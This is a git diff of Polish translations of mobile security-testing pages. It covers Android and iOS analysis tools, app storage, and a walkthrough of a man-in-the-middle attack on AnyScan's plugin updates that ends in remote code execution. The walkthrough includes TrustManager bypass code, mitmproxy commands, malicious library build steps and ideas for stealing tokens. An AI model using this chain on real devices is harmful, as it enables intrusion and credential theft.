AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
|
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
|
||||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||||
```
|
```
|
||||||
python androbugs.py -f [APK file]
|
python androbugs.py -f [APK file]
|
||||||
@ -667,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla programistów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||||
|
|
||||||
Może:
|
Może:
|
||||||
|
|
||||||
@ -688,9 +688,9 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
|
|||||||
|
|
||||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||||
|
|
||||||
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować kod bajtowy oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
|
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowuje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
|
||||||
|
|
||||||
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
|
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie wydania.
|
||||||
|
|
||||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||||
|
|
||||||
@ -702,7 +702,7 @@ Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr
|
|||||||
- przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować;
|
- przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować;
|
||||||
- wykonaj kilka bezużytecznych obfuskacji, aby zmarnować kilka minut czasu odwracającego;
|
- wykonaj kilka bezużytecznych obfuskacji, aby zmarnować kilka minut czasu odwracającego;
|
||||||
- przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX;
|
- przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX;
|
||||||
- w końcu załaduj wynikowy DEX jako zasób za pomocą metody `loadDex`.
|
- w końcu załaduj wynikowy DEX jako zasób, używając metody `loadDex`.
|
||||||
|
|
||||||
### [DeGuard](http://apk-deguard.com)
|
### [DeGuard](http://apk-deguard.com)
|
||||||
|
|
||||||
@ -720,17 +720,17 @@ To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikacj
|
|||||||
|
|
||||||
### [APKiD](https://github.com/rednaga/APKiD)
|
### [APKiD](https://github.com/rednaga/APKiD)
|
||||||
|
|
||||||
APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
|
APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
|
||||||
|
|
||||||
### Manual
|
### Manual
|
||||||
|
|
||||||
[Przeczytaj ten samouczek, aby poznać kilka sztuczek dotyczących **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md)
|
[Przeczytaj ten poradnik, aby poznać kilka sztuczek na **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md)
|
||||||
|
|
||||||
## Labs
|
## Labs
|
||||||
|
|
||||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||||
|
|
||||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, samouczków i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Wiele aplikacji na Androida implementuje **własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji”** zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący zdolny do przechwycenia ruchu może dostarczyć **dowolny kod natywny, który zostanie załadowany w procesie aplikacji**, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…).
|
Wiele aplikacji na Androida implementuje **własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji”** zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący, który jest w stanie przechwycić ruch, może dostarczyć **dowolny kod natywny, który zostanie załadowany w procesie aplikacji**, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…).
|
||||||
|
|
||||||
Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool **AnyScan** (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-team.
|
Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool **AnyScan** (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-teamu.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 1. Identifying an Insecure TLS TrustManager
|
## 1. Identifying an Insecure TLS TrustManager
|
||||||
@ -22,7 +22,7 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
3. Jeśli jest obecny, aplikacja zaakceptuje **dowolny certyfikat TLS** → możesz uruchomić przezroczysty **proxy MITM** z certyfikatem samopodpisanym:
|
3. Jeśli jest obecny, aplikacja zaakceptuje **dowolny certyfikat TLS** → możesz uruchomić przezroczysty **MITM proxy** z certyfikatem samopodpisanym:
|
||||||
```bash
|
```bash
|
||||||
mitmproxy -p 8080 -s addon.py # see §4
|
mitmproxy -p 8080 -s addon.py # see §4
|
||||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||||
@ -57,7 +57,7 @@ return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"
|
|||||||
```
|
```
|
||||||
## 3. Stwórz złośliwy plugin
|
## 3. Stwórz złośliwy plugin
|
||||||
|
|
||||||
1. Wybierz dowolny legalny plugin ZIP i zastąp natywną bibliotekę swoim ładunkiem:
|
1. Wybierz dowolny legalny plugin ZIP i zastąp bibliotekę natywną swoim ładunkiem:
|
||||||
```c
|
```c
|
||||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||||
__attribute__((constructor))
|
__attribute__((constructor))
|
||||||
@ -72,7 +72,7 @@ $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
|||||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||||
```
|
```
|
||||||
2. Zaktualizuj metadane JSON, aby `"FileName" : "PWNED.zip"` oraz `"DownloadURL"` wskazywały na twój serwer HTTP.
|
2. Zaktualizuj metadane JSON, aby `"FileName" : "PWNED.zip"` oraz `"DownloadURL"` wskazywały na twój serwer HTTP.
|
||||||
3. Szyfruj DES-em + koduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML.
|
3. Zaszyfruj DES-em + zakoduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML.
|
||||||
|
|
||||||
## 4. Dostarcz Payload za pomocą mitmproxy
|
## 4. Dostarcz Payload za pomocą mitmproxy
|
||||||
|
|
||||||
@ -93,15 +93,15 @@ Uruchom prosty serwer WWW, aby hostować złośliwy plik ZIP:
|
|||||||
```bash
|
```bash
|
||||||
python3 -m http.server 8000 --directory ./payloads
|
python3 -m http.server 8000 --directory ./payloads
|
||||||
```
|
```
|
||||||
Kiedy ofiara uruchamia aplikację, ona:
|
Kiedy ofiara uruchomi aplikację, to:
|
||||||
* pobiera nasz sfałszowany XML przez kanał MITM;
|
* pobierze nasz sfałszowany XML przez kanał MITM;
|
||||||
* deszyfruje i analizuje go za pomocą wbudowanego klucza DES;
|
* odszyfruje i sparsuje go za pomocą wbudowanego klucza DES;
|
||||||
* pobiera `PWNED.zip` → rozpakowuje w prywatnej pamięci;
|
* pobierze `PWNED.zip` → rozpakowuje w prywatnej pamięci;
|
||||||
* `dlopen()` dołączoną *libscan_x64.so*, natychmiast wykonując nasz kod **z uprawnieniami aplikacji** (kamera, GPS, Bluetooth, system plików, …).
|
* `dlopen()` dołączoną *libscan_x64.so*, natychmiast wykonując nasz kod **z uprawnieniami aplikacji** (kamera, GPS, Bluetooth, system plików, …).
|
||||||
|
|
||||||
Ponieważ wtyczka jest buforowana na dysku, tylna furtka **utrzymuje się po ponownych uruchomieniach** i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję.
|
Ponieważ wtyczka jest buforowana na dysku, tylne wejście **utrzymuje się po ponownych uruchomieniach** i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję.
|
||||||
|
|
||||||
## 5. Pomysły po eksploatacji
|
## 5. Pomysły na post-eksploatację
|
||||||
|
|
||||||
* Kradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
|
* Kradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
|
||||||
* Zainstaluj APK drugiego etapu i cicho zainstaluj go za pomocą `pm install` (aplikacja już ma `REQUEST_INSTALL_PACKAGES`).
|
* Zainstaluj APK drugiego etapu i cicho zainstaluj go za pomocą `pm install` (aplikacja już ma `REQUEST_INSTALL_PACKAGES`).
|
||||||
|
@ -27,7 +27,7 @@ basic-ios-testing-operations.md
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już mieć uzyskany **plik IPA** aplikacji.\
|
> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już uzyskać **plik IPA** aplikacji.\
|
||||||
> Przeczytaj stronę [Basic iOS Testing Operations](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić.
|
> Przeczytaj stronę [Basic iOS Testing Operations](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić.
|
||||||
|
|
||||||
### Basic Static Analysis
|
### Basic Static Analysis
|
||||||
@ -162,7 +162,7 @@ ios-hooking-with-objection.md
|
|||||||
|
|
||||||
### Struktura IPA
|
### Struktura IPA
|
||||||
|
|
||||||
Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `<NAME>.app`, który zawiera zasoby aplikacji.
|
Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowanego pakietu**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `<NAME>.app`, który zawiera zasoby aplikacji.
|
||||||
|
|
||||||
- **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji.
|
- **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji.
|
||||||
- **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniając integralność wszystkich plików w pakiecie.
|
- **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniając integralność wszystkich plików w pakiecie.
|
||||||
@ -173,12 +173,12 @@ Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmie
|
|||||||
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdy dany język nie jest obsługiwany.
|
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdy dany język nie jest obsługiwany.
|
||||||
- **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych.
|
- **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych.
|
||||||
- **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej ogólnego rozmiaru.
|
- **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej ogólnego rozmiaru.
|
||||||
- **Frameworki i PlugIns**: Te katalogi podkreślają modułowość aplikacji iOS, umożliwiając deweloperom dołączanie bibliotek kodu do ponownego użycia (`Frameworks/`) oraz rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
|
- **Frameworki i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, umożliwiając deweloperom dołączanie bibliotek kodu do ponownego użycia (`Frameworks/`) oraz rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
|
||||||
- **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
|
- **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
|
||||||
|
|
||||||
**Info.plist**
|
**Info.plist**
|
||||||
|
|
||||||
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zbudowany w formacie XML lub binarnym i zawiera krytyczne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Plik ten jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zbudowany w formacie XML lub binarnym i zawiera istotne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||||
|
|
||||||
Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące:
|
Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące:
|
||||||
|
|
||||||
@ -215,11 +215,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
|||||||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||||
```
|
```
|
||||||
Alternatywnie, nazwa aplikacji może być wyszukiwana w `/private/var/containers` za pomocą polecenia `find`:
|
Alternatywnie, nazwa aplikacji może być wyszukana w `/private/var/containers` za pomocą polecenia `find`:
|
||||||
```bash
|
```bash
|
||||||
find /private/var/containers -name "Progname*"
|
find /private/var/containers -name "Progname*"
|
||||||
```
|
```
|
||||||
Polecenia takie jak `ps` i `lsof` mogą być również wykorzystane do identyfikacji procesu aplikacji i listowania otwartych plików, odpowiednio, dostarczając informacji o aktywnych ścieżkach katalogów aplikacji:
|
Polecenia takie jak `ps` i `lsof` mogą być również wykorzystane do identyfikacji procesu aplikacji oraz listowania otwartych plików, odpowiednio, dostarczając informacji o aktywnych ścieżkach katalogów aplikacji:
|
||||||
```bash
|
```bash
|
||||||
ps -ef | grep -i <app-name>
|
ps -ef | grep -i <app-name>
|
||||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||||
@ -240,7 +240,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||||||
- Zawartość tego katalogu **jest kopiowana**.
|
- Zawartość tego katalogu **jest kopiowana**.
|
||||||
- Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
|
- Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
|
||||||
- **Library/**
|
- **Library/**
|
||||||
- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** i pliki konfiguracyjne listy właściwości (plist).
|
- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne listy właściwości (plist).
|
||||||
- Aplikacje iOS zazwyczaj używają podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć własne podkatalogi.
|
- Aplikacje iOS zazwyczaj używają podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć własne podkatalogi.
|
||||||
- **Library/Caches/**
|
- **Library/Caches/**
|
||||||
- Zawiera **półtrwałe pliki cache.**
|
- Zawiera **półtrwałe pliki cache.**
|
||||||
@ -454,7 +454,7 @@ Możesz znaleźć informacje, jak sprawdzić źle skonfigurowane bazy danych Fir
|
|||||||
|
|
||||||
### Realm databases
|
### Realm databases
|
||||||
|
|
||||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, której nie zapewnia Apple. Domyślnie **przechowują dane w postaci niezaszyfrowanej**, z możliwością szyfrowania dostępną poprzez odpowiednią konfigurację.
|
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, której nie zapewnia Apple. Domyślnie **przechowują dane w postaci niezaszyfrowanej**, z możliwością szyfrowania poprzez odpowiednią konfigurację.
|
||||||
|
|
||||||
Bazy danych znajdują się w: `/private/var/mobile/Containers/Data/Application/{APPID}`. Aby zbadać te pliki, można wykorzystać polecenia takie jak:
|
Bazy danych znajdują się w: `/private/var/mobile/Containers/Data/Application/{APPID}`. Aby zbadać te pliki, można wykorzystać polecenia takie jak:
|
||||||
```bash
|
```bash
|
||||||
@ -522,15 +522,15 @@ Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
|
|||||||
|
|
||||||
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||||
|
|
||||||
`Obiekt konfiguracyjny sesji efemerycznej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz domyślny), z tą różnicą, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja efemeryczna zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
|
`Obiekt konfiguracyjny sesji efemerycznej jest podobny do domyślnej konfiguracji sesji (patrz domyślna), z wyjątkiem tego, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja efemeryczna zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
|
||||||
|
|
||||||
3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie buforu w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku.
|
3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie bufora w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku.
|
||||||
|
|
||||||
### Snapshots
|
### Snapshots
|
||||||
|
|
||||||
Kiedy naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownych uruchomieniach**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.
|
Kiedy naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownych uruchomieniach**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.
|
||||||
|
|
||||||
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOS 7.0).
|
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOX 7.0).
|
||||||
|
|
||||||
Jednym ze sposobów zapobiegania temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
|
Jednym ze sposobów zapobiegania temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
|
||||||
|
|
||||||
@ -566,11 +566,11 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||||||
[self.backgroundImage removeFromSuperview];
|
[self.backgroundImage removeFromSuperview];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
To ustawienie obrazu tła na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok.
|
To ustawia tło obrazu na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok.
|
||||||
|
|
||||||
### Keychain
|
### Keychain
|
||||||
|
|
||||||
Do uzyskiwania dostępu i zarządzania keychainem iOS, dostępne są narzędzia takie jak [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), odpowiednie dla urządzeń z jailbreakiem. Dodatkowo, [**Objection**](https://github.com/sensepost/objection) oferuje polecenie `ios keychain dump` do podobnych celów.
|
Do uzyskiwania dostępu i zarządzania keychainem iOS dostępne są narzędzia takie jak [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), odpowiednie dla urządzeń z jailbreakiem. Dodatkowo, [**Objection**](https://github.com/sensepost/objection) oferuje polecenie `ios keychain dump` do podobnych celów.
|
||||||
|
|
||||||
#### **Przechowywanie poświadczeń**
|
#### **Przechowywanie poświadczeń**
|
||||||
|
|
||||||
@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
|||||||
```
|
```
|
||||||
## **Logi**
|
## **Logi**
|
||||||
|
|
||||||
Debugowanie kodu często wiąże się z użyciem **logowania**. Istnieje ryzyko, ponieważ **logi mogą zawierać wrażliwe informacje**. Wcześniej, w iOS 6 i wcześniejszych wersjach, logi były dostępne dla wszystkich aplikacji, co stwarzało ryzyko wycieku wrażliwych danych. **Teraz aplikacje mają ograniczony dostęp tylko do swoich logów**.
|
Debugowanie kodu często wiąże się z używaniem **logowania**. Istnieje ryzyko, ponieważ **logi mogą zawierać wrażliwe informacje**. Wcześniej, w iOS 6 i wcześniejszych wersjach, logi były dostępne dla wszystkich aplikacji, co stwarzało ryzyko wycieku wrażliwych danych. **Teraz aplikacje mają ograniczony dostęp tylko do swoich logów**.
|
||||||
|
|
||||||
Pomimo tych ograniczeń, **atakujący z fizycznym dostępem** do odblokowanego urządzenia może nadal to wykorzystać, podłączając urządzenie do komputera i **czytając logi**. Ważne jest, aby zauważyć, że logi pozostają na dysku nawet po odinstalowaniu aplikacji.
|
Pomimo tych ograniczeń, **atakujący z fizycznym dostępem** do odblokowanego urządzenia może nadal to wykorzystać, podłączając urządzenie do komputera i **czytając logi**. Ważne jest, aby zauważyć, że logi pozostają na dysku nawet po odinstalowaniu aplikacji.
|
||||||
|
|
||||||
Aby zminimalizować ryzyko, zaleca się **dokładne interakcje z aplikacją**, eksplorując wszystkie jej funkcjonalności i dane wejściowe, aby upewnić się, że żadne wrażliwe informacje nie są rejestrowane przypadkowo.
|
Aby zminimalizować ryzyko, zaleca się **dokładne interakcje z aplikacją**, eksplorując wszystkie jej funkcjonalności i dane wejściowe, aby upewnić się, że żadne wrażliwe informacje nie są rejestrowane przypadkowo.
|
||||||
|
|
||||||
Przy przeglądaniu kodu źródłowego aplikacji w poszukiwaniu potencjalnych wycieków, należy szukać zarówno **zdefiniowanych**, jak i **niestandardowych instrukcji logowania** używając słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla funkcji wbudowanych oraz wszelkich wzmiankach o `Logging` lub `Logfile` dla niestandardowych implementacji.
|
